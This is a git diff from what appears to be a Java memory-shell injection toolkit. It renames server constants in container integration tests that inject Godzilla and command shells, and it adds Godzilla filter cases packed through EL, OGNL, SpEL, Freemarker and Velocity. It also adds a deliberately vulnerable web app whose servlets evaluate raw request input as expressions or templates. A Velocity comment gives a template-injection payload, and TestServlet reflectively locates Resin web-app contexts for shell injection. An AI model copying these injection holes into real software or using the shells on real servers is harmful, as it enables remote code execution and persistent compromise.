a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss423ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index f3208551..4e32bbdf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index c5cc3674..95d2be07 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -61,6 +61,6 @@ public class Jboss610ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 2712da32..5a5e4ee6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss711ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_7, packer); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index 072c0cef..b1850a4f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -57,6 +57,6 @@ public class JbossEap6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index c2510718..07342c14 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -57,6 +57,6 @@ public class JbossEap7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 10deca9c..c93ac299 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -60,6 +60,6 @@ public class Jetty10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index fbcccbe2..2694db9c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -60,6 +60,6 @@ public class Jetty11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index 4e810ef1..31c5c2e3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -59,6 +59,6 @@ public class Jetty61ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 861724f9..f6bdb768 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -59,6 +59,6 @@ public class Jetty76ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index b5eefe69..05009c4e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -60,6 +60,6 @@ public class Jetty81ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index e065a846..c7e50119 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -61,6 +61,6 @@ public class Jetty92ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index edbe397b..b310cc3f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -60,6 +60,6 @@ public class Jetty93ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index fd095855..3b72a889 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -64,6 +64,6 @@ public class Jetty94ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 09b29ce8..894c1bef 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -65,6 +65,6 @@ public class Tomcat10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V11, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 157e5dd9..b239a955 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -61,6 +61,6 @@ public class Tomcat11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V17, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index f54ce070..8c39595f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -64,6 +64,6 @@ public class Tomcat5ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 5bf2f490..cc50e419 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -64,6 +64,6 @@ public class Tomcat6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index aa29aad0..aba7317f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -65,6 +65,6 @@ public class Tomcat7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_7, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index c5e0907c..2731a8c6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -58,19 +58,25 @@ public class Tomcat8ContainerTest { arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Ognl), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_8, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer); } -} +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 1105bfba..73567fe4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -65,6 +65,6 @@ public class Tomcat9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V9, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 0dad5d0d..1d6c6f97 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -57,6 +57,6 @@ public class Wildfly18ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 5a03ed6d..9b53bf3c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -57,6 +57,6 @@ public class Wildfly23ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index 5d45f553..280b79d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -60,6 +60,6 @@ public class Wildfly9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/vul-webapp/build.gradle b/vul-webapp/build.gradle index b0b7faa3..fb8d0162 100644 --- a/vul-webapp/build.gradle +++ b/vul-webapp/build.gradle @@ -16,5 +16,11 @@ java { dependencies { implementation 'commons-fileupload:commons-fileupload:1.3.3' implementation 'commons-beanutils:commons-beanutils:1.9.3' + implementation 'de.odysseus.juel:juel-impl:2.2.7' + implementation 'org.freemarker:freemarker:2.3.23' + implementation 'org.apache.velocity:velocity:1.7' + implementation 'ognl:ognl:2.7.3' + implementation 'org.springframework:spring-expression:4.3.30.RELEASE' + implementation 'de.odysseus.juel:juel-api:2.2.7' providedCompile "javax.servlet:servlet-api:2.5" -} \ No newline at end of file +} diff --git a/vul-webapp/src/main/java/ELServlet.java b/vul-webapp/src/main/java/ELServlet.java new file mode 100644 index 00000000..b02088dd --- /dev/null +++ b/vul-webapp/src/main/java/ELServlet.java @@ -0,0 +1,27 @@ +import de.odysseus.el.ExpressionFactoryImpl; +import de.odysseus.el.util.SimpleContext; + +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class ELServlet extends HttpServlet { + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + ExpressionFactory factory = new ExpressionFactoryImpl(); + SimpleContext context = new SimpleContext(); + ValueExpression ve = factory.createValueExpression(context, "${" + data + "}", Object.class); + Object value = ve.getValue(context); + resp.getWriter().write(value.toString()); + } +} diff --git a/vul-webapp/src/main/java/FreemarkerServlet.java b/vul-webapp/src/main/java/FreemarkerServlet.java new file mode 100644 index 00000000..ed5a8c9c --- /dev/null +++ b/vul-webapp/src/main/java/FreemarkerServlet.java @@ -0,0 +1,36 @@ +import freemarker.template.Configuration; +import freemarker.template.Template; +import freemarker.template.TemplateException; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.StringReader; +import java.io.StringWriter; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class FreemarkerServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + Configuration cfg = new Configuration(); + cfg.setDefaultEncoding("UTF-8"); + Map input = new HashMap(); + input.put("object", new Object()); + Template template = new Template("templateName", new StringReader(data), cfg); + StringWriter output = new StringWriter(); + try { + template.process(input, output); + } catch (TemplateException e) { + throw new RuntimeException(e); + } + resp.getWriter().write(output.toString()); + } +} diff --git a/vul-webapp/src/main/java/OgnlServlet.java b/vul-webapp/src/main/java/OgnlServlet.java new file mode 100644 index 00000000..61558252 --- /dev/null +++ b/vul-webapp/src/main/java/OgnlServlet.java @@ -0,0 +1,28 @@ +import ognl.Ognl; +import ognl.OgnlContext; +import ognl.OgnlException; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class OgnlServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + OgnlContext context = new OgnlContext(); + Object value = null; + try { + value = Ognl.getValue(data, context, context.getRoot()); + } catch (OgnlException e) { + throw new RuntimeException(e); + } + resp.getWriter().println(value); + } +} diff --git a/vul-webapp/src/main/java/SpELServlet.java b/vul-webapp/src/main/java/SpELServlet.java new file mode 100644 index 00000000..4144f611 --- /dev/null +++ b/vul-webapp/src/main/java/SpELServlet.java @@ -0,0 +1,20 @@ +import org.springframework.expression.spel.standard.SpelExpressionParser; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class SpELServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + Object value = new SpelExpressionParser().parseExpression(data).getValue(); + resp.getWriter().println(value); + } +} diff --git a/vul-webapp/src/main/java/TestServlet.java b/vul-webapp/src/main/java/TestServlet.java index 0f24dc2a..46028d43 100644 --- a/vul-webapp/src/main/java/TestServlet.java +++ b/vul-webapp/src/main/java/TestServlet.java @@ -9,10 +9,7 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -169,32 +166,27 @@ public class TestServlet extends HttpServlet { return false; } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + public List getContext() { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Set visited = new HashSet(); try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) this.getFieldValue(this.getFieldValue(this.getFieldValue(thread, "target"), "this$0"), "children"); - - for (Object key : childrenMap.keySet()) { - Map children = (Map) this.getFieldValue(childrenMap.get(key), "children"); - - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - } + if (thread.getClass().getName().contains("Resin")) { + Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null && visited.add(webApp)) { + contexts.add(webApp); } } } - - return contexts; } catch (Exception e) { - throw new RuntimeException(e); + // Handle exception } + return contexts; + } private Object getFilter(Object context) { @@ -267,7 +259,8 @@ public class TestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - + List context = getContext(); + System.out.println(context.size()); } @Override diff --git a/vul-webapp/src/main/java/VelocityServlet.java b/vul-webapp/src/main/java/VelocityServlet.java new file mode 100644 index 00000000..8ae73c34 --- /dev/null +++ b/vul-webapp/src/main/java/VelocityServlet.java @@ -0,0 +1,24 @@ +import org.apache.velocity.VelocityContext; +import org.apache.velocity.app.Velocity; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.StringWriter; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class VelocityServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + StringWriter sw = new StringWriter(); + Velocity.evaluate(new VelocityContext(), sw, "tag", data); + resp.getWriter().write(sw.toString()); + } +} +// #set($x='') $x.class.forName('javax.script.ScriptEngineManager').declaredConstructors[0].newInstance().getEngineByName('js').eval('1+1') \ No newline at end of file diff --git a/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul-webapp/src/main/webapp/WEB-INF/web.xml index 25256518..de56e901 100644 --- a/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -45,6 +45,52 @@ /java_deserialize + + el + ELServlet + + + el + /el + + + + SpEL + SpELServlet + + + SpEL + /spel + + + + ognl + OgnlServlet + + + ognl + /ognl + + + + velocity + VelocityServlet + + + velocity + /velocity + + + + freemarker + FreemarkerServlet + + + freemarker + /freemarker + + +